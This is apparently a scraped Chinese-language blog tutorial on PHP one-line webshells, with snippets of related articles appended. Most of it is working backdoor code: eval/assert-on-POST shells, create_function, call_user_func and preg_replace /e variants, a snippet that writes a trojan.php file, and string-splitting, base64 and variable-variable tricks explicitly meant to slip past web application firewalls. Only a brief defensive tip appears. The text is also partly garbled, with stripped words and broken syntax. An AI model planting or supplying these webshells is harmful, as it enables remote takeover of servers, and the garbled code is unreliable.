php一句話木馬變形技巧

2022-06-25 01:24:09 字數 4138 閱讀 1417

一句話木馬就是只需要一行**的木馬,短短一行**,就能做到和大馬相當的功能。為了繞過waf的檢測,一句話木馬出現了無數中變形,但本質是不變的:木馬的函式執行了我們傳送的命令。

我們可以通過get、post、cookie這三種方式向乙個**提交資料,一句話木馬用$_get[' ']、$_post[' ']、$_cookie[' ']接收我們傳遞的資料,並把接收的資料傳遞給一句話木馬中執行命令的函式,進而執行命令。 所以看到的經典一句話木馬大多都是只有兩個部分,乙個是可以執行**的函式部分,乙個是接收資料的部分。

<?php eval($_post['a']) ?>
其中eval就是執行命令的函式,**$_post[『a』]**就是接收的資料。eval函式把接收的資料當作php**來執行。這樣我們就能夠讓插入了一句話木馬的**執行我們傳遞過去的任意php語句。這便是一句話木馬的強大之處。

因為木馬是接收post請求中 「a」 的資料( $_post[『a』]),所以我們必須以post方法傳送資料並且將我們要執行的**賦值給「a」。如果把木馬中的post替換成get,那麼我麼就需要以get方法傳送「a」,

使用 其他函式製作一句話木馬

<?php assert(@$_post['a']); ?>
<?php 

$fun = create_function('',$_post['a']);

$fun();

?>

把使用者傳遞的資料生成乙個函式fun(),然後再執行fun()

<?php 

@call_user_func(assert,$_post['a']);

?>

call_user_func這個函式可以呼叫其它函式,被呼叫的函式是call_user_func的第乙個函式,被呼叫的函式的引數是call_user_func的第二個引數

這樣的乙個語句也可以完成一句話木馬。一些被waf攔截的木馬可以配合這個函式繞過waf。

<?php 

@preg_replace("/abcde/e", $_post['a'], "abcdefg");

?>

這個函式原本是利用正規表示式替換符合條件的字串,但是這個函式有乙個功能——可執行命令

這個函式的第乙個引數是正規表示式,按照php的格式,表示式在兩個「/」之間。如果我們在這個表示式的末尾加上「e」,那麼這個函式的第二個引數就會被當作**執行。

利用函式生成木馬

<?php 

$test='<?php $a=$_post["cmd"];assert($a); ?>';

file_put_contents("trojan.php", $test);

?>

函式功能:生成乙個檔案,第乙個引數是檔名,第二個引數是檔案的內容。

<?php 

$a='assert';

array_map("$a",$_request);

?>

上述定義引數a並賦值『assert』,利用array_map()函式將執行語句進行拼接。最終實現assert($_request)

<?php 

$item['jon']='assert';

$array=$item;

$array[0]['jon']($_post["test"]);

?>

利用函式的組合效果,使得多個引數在傳遞後組合成一段命令並執行。

第三行使用了變數函式$a,變數儲存了函式名eval,便可以直接用變數替代函式名。

waf是**的防火牆,例如安全狗就是waf的一種。waf通常以關鍵字判斷是否為一句話木馬,但是一句話木馬的變形有很多種,waf根本不可能全部攔截。想要繞過waf,需要掌握各種php小技巧,掌握的技巧多了,把技巧結合起來,設計出屬於自己的一句話木馬。

<?php 

$bb="eval";

$aa="bb";

$$aa($_post['a']);

?>

看這句就能理解上述語句:$$aa = (

(aa) = $ (『bb』) = $bb = 「eval」

<?php 

$a=str_replace("waldo", "", "ewaldoval");

$a(@$_post['a']);

?>

函式功能:在第三個引數中,查詢第乙個引數,並替換成第二個引數。這裡第二個引數為空字串,就相當於刪除"waldo"。

<?php 

$a=base64_decode("zxzhba==")

$a($_post['a']);

?>

這裡是base64解密函式,"zxzhba=="是eval的base64加密。

<?php 

$a="e"."v";

$b="a"."l";

$c=$a.$b;

$c($_post['a']);

?>

<?php 

$str="a=eval";

parse_str($str);

$a($_post['a']);

?>

執行這個函式後,生成乙個變數$a,值為字串"eval"

7.1get篇

<?php $_get[a]($_get[b]);  ?>
<?php @eval( $_get[$_get[b]])>
利用方法:

b=cmd&cmd=phpinfo()
7.2利用script代替 、?>標籤
7.3利用session

1.404頁面

2.木馬,用檔案包含呼叫繞過技巧:

tips:使用一句話木馬的時候可以在函式前加」@」符,這個符號讓php語句不顯示錯誤資訊,增加隱蔽性。

1.禁用assert()函式,監控eval()

2.搜尋日誌的assert。

亦可能繞過:

一句話木馬

一句話木馬短小精悍,而且功能強大,隱蔽性非常好,在入侵中始終扮演著強大的作用。一句話木馬 服務端 是用於本地的html提交指令碼木馬檔案 就是我們要用來插入到asp檔案中的asp語句,不僅僅是以asp為字尾的資料庫檔案 該語句將回為觸發,接收入侵者通過客戶端提交的資料,執行並完成相應的操作,服務端的...

webshell之一句話木馬變形

一句話木馬就是只需要一行 的木馬,短短一行 就能做到和大馬相當的功能。為了繞過waf的檢測,一句話木馬出現了無數中變形,但本質是不變的 木馬的函式執行了我們傳送的命令。我們如何傳送命令,傳送的命令如何執行?我們可以通過get post cookie 這三種方式向乙個 提交資料,一句話木馬用 get ...

關於一句話木馬

這裡的asp後門不指像那些一句話木馬 砍客 冰狐之類的b s型的,只指像cmd.asp或2005a.asp的。第乙個,來看zzzeva免fso的cmd.asp 如下 是不是覺得有點長了?在注入時寫有點不好寫。那來改一下。第二個,更改zzzeva免fso的cmd.asp 如下 response.wri...